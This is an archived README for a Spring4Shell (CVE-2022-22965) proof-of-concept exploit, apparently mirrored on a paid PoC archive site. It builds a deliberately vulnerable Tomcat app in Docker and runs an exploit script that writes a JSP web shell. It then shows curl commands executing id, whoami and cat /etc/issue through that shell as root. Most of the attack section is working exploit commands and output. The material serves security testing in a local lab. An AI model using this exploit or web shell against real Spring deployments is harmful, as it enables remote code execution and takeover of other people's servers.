Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Description
CVE-2022-22965 (Spring4Shell) Proof of Concept
Readme


# CVE-2022-22965 (Spring4Shell) Proof of Concept

![](img/spring4shell-logo.png)

## Test the RCE (Remote Code Execution) in Spring Core​

### Build the image

BuildKit based build is required so you need to enable it.

Easiest way is to set the **DOCKER_BUILDKIT=1** environment variable when invoking the docker build command, such as:

```console
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
```
Otherwise to enable docker BuildKit by default, set daemon configuration in _/etc/docker/daemon.json_ feature to true and restart the daemon:

```json
{ "features": { "buildkit": true } }
```
This way you can execute simply

```console
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
```

### Test the vulnerable application

```console
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>
```

### Run the exploit

```console
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id
```

If everything went right, execute arbitrary commands in the container through the Tomcat HTTP port, such as:

```console
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//
```

```console
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//
```

```console
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//
```


File Snapshot

[4.0K] /data/pocs/4f94f583615adb8fb03adefda190eb044cceacc1 ├── [ 349] Dockerfile.core ├── [4.0K] exploit-core.py ├── [4.0K] img │   └── [ 10K] spring4shell-logo.png ├── [1.5K] pom-core.xml ├── [2.0K] README.md └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] it │   └── [4.0K] sunnyvale │   └── [4.0K] spring4shell │   ├── [ 669] ExploitMeController.java │   ├── [ 323] ExploitMe.java │   └── [ 447] Spring4ShellApplication.java └── [4.0K] resources └── [4.0K] templates └── [ 181] hello.html 9 directories, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →